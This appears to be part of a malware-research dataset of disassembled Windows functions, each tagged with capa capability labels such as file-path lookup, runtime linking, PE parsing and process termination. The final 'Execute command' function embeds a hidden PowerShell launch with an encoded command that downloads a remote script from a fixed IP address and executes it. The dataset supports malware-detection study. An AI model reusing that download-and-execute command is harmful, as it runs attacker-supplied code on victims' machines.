joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006710
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x1400200d0]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor r9d, r9d
mov rbx, rdx
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 0x2b]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x14000674d
mov eax, 0x80004005
jmp 0x14000675d
lea rcx, [rsp + 0x20]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14000ae70
add rsp, 0x240
pop rbx
ret

Function at 0x140006780
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x1400200d0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rdx
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1400067c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1400067d6
movzx eax, ax
or eax, 0x80070000
jmp 0x1400067d6
lea rcx, [rsp + 0x20]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14000ae70
add rsp, 0x240
pop rbx
ret

Function at 0x1400067f0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x1400200d0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rdx
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x140006836
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x140006846
movzx eax, ax
or eax, 0x80070000
jmp 0x140006846
lea rcx, [rsp + 0x20]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14000ae70
add rsp, 0x240
pop rbx
ret
Function at 0x140007250
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x14000733e
lea rdx, str.LookupAccountNameW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.IsValidSid
mov rcx, rbx
mov qword [rdi + 8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ConvertStringSidToSidW
mov rcx, rbx
mov qword [rdi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.GetNamedSecurityInfoW
mov rcx, rbx
mov qword [rdi + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SetEntriesInAclW
mov rcx, rbx
mov qword [rdi + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SetNamedSecurityInfoW
mov rcx, rbx
mov qword [rdi + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.AllocateAndInitializeSid
mov rcx, rbx
mov qword [rdi + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateWellKnownSid
mov rcx, rbx
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CopySid
mov rcx, rbx
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.FreeSid
mov rcx, rbx
mov qword [rdi + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x50], rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000c028
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14000c0b1
movsxd rax, dword [0x14000003c]
lea rdi, [0x140000000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x14000c073
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14000c0c1
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x14000c089
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14000c0c1
cmp dword [rax + 0x84], 0xe
ja 0x14000c09d
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14000c0c1
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
jmp 0x14000c0c1
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
lea rdi, [0x140000000]
mov ecx, 1
call fcn.14000d020
test eax, eax
jne 0x14000c0f1
cmp dword [0x140021c60], 1
jne 0x14000c0dd
call fcn.140142000
mov ecx, 0x1c
call fcn.14000d9ac
mov ecx, 0xff
call fcn.14000d630
call fcn.14000d380
test eax, eax
jne 0x14000c11c
cmp dword [0x140021c60], 1
jne 0x14000c108
call fcn.14000dbd4
mov ecx, 0x10
call fcn.14000d9ac
mov ecx, 0xff
call fcn.14000d630
call fcn.14001136c
nop
call fcn.14001107c
test eax, eax
jns 0x14000c135
mov ecx, 0x1b
call fcn.14000d5c4
call sub.KERNEL32.dll_GetCommandLineW
mov qword [0x140023f30], rax
call fcn.140010fe8
mov qword [0x140021c58], rax
call fcn.140010ef8
test eax, eax
jns 0x14000c160
mov ecx, 8
call fcn.14000d5c4
call fcn.140010c28
test eax, eax
jns 0x14000c173
mov ecx, 9
call fcn.14000d5c4
mov ecx, 1
call fcn.14000d6d0
test eax, eax
je 0x14000c188
mov ecx, eax
call fcn.14000d5c4
call fcn.140010bcc
test byte [rsp + 0x6c], 1
movzx edx, word [rsp + 0x70]
mov r9d, 0xa
cmovne r9d, edx
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.1400019b0
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x14000c1bf
mov ecx, eax
call fcn.14000d90c
call fcn.14000d924
jmp 0x14000c1e0
mov eax, edi
jmp 0x14000c1e9
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.1400113dc
add rsp, 0x28
jmp 0x14000c028
Function at 0x14000cd0b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400200d0]
jne 0x14000ae8a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000ae86
repz ret
ror rcx, 0x10
jmp 0x14000cc64
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140021d10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140021e08]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000cce9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140021d10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000cd0b
mov rax, qword [rsp + 0x88]
mov qword [0x140021e08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140021da8], rax
mov rax, qword [0x140021e08]
mov qword [0x140021c80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140021d90], rax
mov dword [0x140021c70], 0xc0000409
mov dword [0x140021c74], 1
mov rax, qword [0x1400200d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400200d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140021d08], eax
mov ecx, 1
call fcn.14000efb8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140018778]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140021d08], 0
jne 0x14000cd92
mov ecx, 1
call fcn.14000efb8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000d90c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140012d54
nop
cmp dword [0x140022260], 1
je 0x14000d8b8
mov dword [0x14002225c], 1
mov byte [0x140022258], r12b
test ebx, ebx
jne 0x14000d8a4
mov rcx, qword [0x140023f10]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000d891
mov rcx, qword [0x140023f08]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14000d830
call fcn.14000d0b0
cmp qword [rdi], rax
jne 0x14000d830
jmp 0x14000d816
cmp rdi, rsi
jb 0x14000d891
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14000d0b0
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140023f10]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140023f08]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000d86f
cmp r13, rax
je 0x14000d88f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14000d816
lea rdx, [0x140018478]
lea rcx, [0x140018460]
call fcn.14000d660
lea rdx, [0x140018488]
lea rcx, [0x140018480]
call fcn.14000d660
nop
test r12d, r12d
je 0x14000d8c7
mov ecx, 8
call fcn.140012c54
test r12d, r12d
jne 0x14000d8f2
mov dword [0x140022260], 1
lea ecx, [r12 + 8]
call fcn.140012c54
mov ecx, r15d
call fcn.14000d5f4
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000d780

Function at 0x14000d918
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000d780
Function at 0x140013160
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14000d0b0
xor ebx, ebx
mov rdi, rax
cmp qword [0x140022ac8], rbx
jne 0x140013266
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14001333b
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001333b
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140022ac8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140022ad0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140022ad8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140022ae8], rax
test rax, rax
je 0x14001325d
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140022ae0], rax
jmp 0x14001326d
mov rax, qword [0x140022ae0]
jmp 0x140013274
mov rax, qword [0x140022ae0]
mov r11, qword [0x140022ae8]
cmp rax, rdi
je 0x1400132dc
cmp r11, rdi
je 0x1400132dc
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140022ae8]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x1400132dc
test rax, rax
je 0x1400132dc
call rsi
test rax, rax
je 0x1400132d6
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400132d6
test byte [rsp + 0x38], 1
jne 0x1400132dc
bts ebp, 0x15
jmp 0x14001331a
mov rcx, qword [0x140022ad0]
cmp rcx, rdi
je 0x14001331a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001331a
call rax
mov rbx, rax
test rax, rax
je 0x14001331a
mov rcx, qword [0x140022ad8]
cmp rcx, rdi
je 0x14001331a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001331a
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140022ac8]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001333b
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14001333d
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400111db
Capabilities:
Terminate process

Disassembly:
jmp 0x140014db0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011253
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012bc0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012be0
xor al, al
jmp 0x140012c61
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012bf3
xor al, al
jmp 0x140012c61
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c1d
xor al, al
jmp 0x140012c61
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012c31
xor al, al
jmp 0x140012c61
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012c43
xor al, al
jmp 0x140012c61
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012c5f
xor al, al
jmp 0x140012c61
mov al, 1
add rsp, 0x38
ret
Function at 0xae3f20
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xae3f2d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xae3f3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xae3f25
lea eax, [rcx + 1]
jmp 0xae3f4b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xae3f5e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xae3f44
sub eax, 3
jb 0xae3f7e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xae3fcd
sar eax, 1
movsxd rbp, eax
jb 0xae3fb4
jmp 0xae3f8c
add ebx, ebx
jne 0xae3f8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xae3fb4
inc ecx
add ebx, ebx
jne 0xae3f9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xae3fb4
call r11
adc ecx, ecx
add ebx, ebx
jne 0xae3fad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xae3f9c
add ecx, 2
jmp 0xae3fb9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00ae3ee2
jmp 0xae3f2d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x3c2200
mov dl, 0x76
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xae4019
cmp rsi, rcx
jae 0xae4021
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xae4000
cmp al, 0x8f
ja 0xae4000
cmp byte [rsi - 2], 0xf
je 0xae4006
sub al, 0xe8
cmp al, 1
ja 0xae3fea
cmp rsi, rcx
jae 0xae4021
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xae3ff0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xae4021
lodsb al, byte [rsi]
jmp 0xae4000
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x6c8000]
mov eax, dword [rdi]
or eax, eax
je 0xae407e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x6f1614]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xae402e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xae4078
mov qword [rbx], rax
add rbx, 8
jmp 0xae404e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xae40b8
cmp al, 0xef
ja 0xae40aa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xae408a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0xae4099
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xae410c
sub rsp, 0xffffffffffffff80
jmp 0x7b29d0
Function at 0x14003ab80
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003ab8d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003ab9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14003ab85
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14003abb5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14003aba2
sub eax, 3
jb 0x14003abcf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14003ac06
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14003abf6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14003abf4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14003abe3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14003ab42
jmp 0x14003ab8d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1b400
mov dl, 9
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14003ac52
cmp rsi, rcx
jae 0x14003ac5a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003ac39
cmp al, 0x8f
ja 0x14003ac39
cmp byte [rsi - 2], 0xf
je 0x14003ac3f
sub al, 0xe8
cmp al, 1
ja 0x14003ac23
cmp rsi, rcx
jae 0x14003ac5a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003ac29
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003ac5a
lodsb al, byte [rsi]
jmp 0x14003ac39
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x38000]
mov eax, dword [rdi]
or eax, eax
je 0x14003acc3
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x4af8c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003ac67
jns 0x14003ac9c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14003aca6
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14003acbd
mov qword [rbx], rax
add rbx, 8
jmp 0x14003ac87
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x18f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14003ad1b
sub rsp, 0xffffffffffffff80
jmp 0x14001bce0
Function at 0x140001180
Capabilities:
Execute command

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov ecx, 0x1f0
call fcn.140001600
mov r8, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1400035d0]
movdqu xmmword [rsp + 0x30], xmm0
mov rdx, rax
lea rax, str.start__B_powershell.exe__nop__ep_bypass__w_1__enc_KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEAMAA1ADoAOAAwAC8AZABvAHcAbgBsAG8AYQBkAC8AcABvAHcAZQByAHMAaABlAGwAbAAvACcAKQAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnAHwAaQBlAHgA
mov ecx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400011e0
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
mov rcx, qword [rax + 0x60]
mov qword [rdx + 0x60], rcx
movzx ecx, word [rax + 0x68]
mov word [rdx + 0x68], cx
mov byte [r8 + 0x1ea], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x1400035c0]
movdqu xmmword [rsp + 0x50], xmm1
mov eax, 0x6463
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], 0
mov rcx, r8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsxd rdx, eax
lea rax, str.AAAAAAAAAAAAAAAAAAAAAAAAA
add rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001390
xor r9d, r9d
lea r8, str.Title_Aloka
lea rdx, str.Title_Aloka
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140001319
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001314
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001314
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000163c
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400015e0
add rsp, 0x78
ret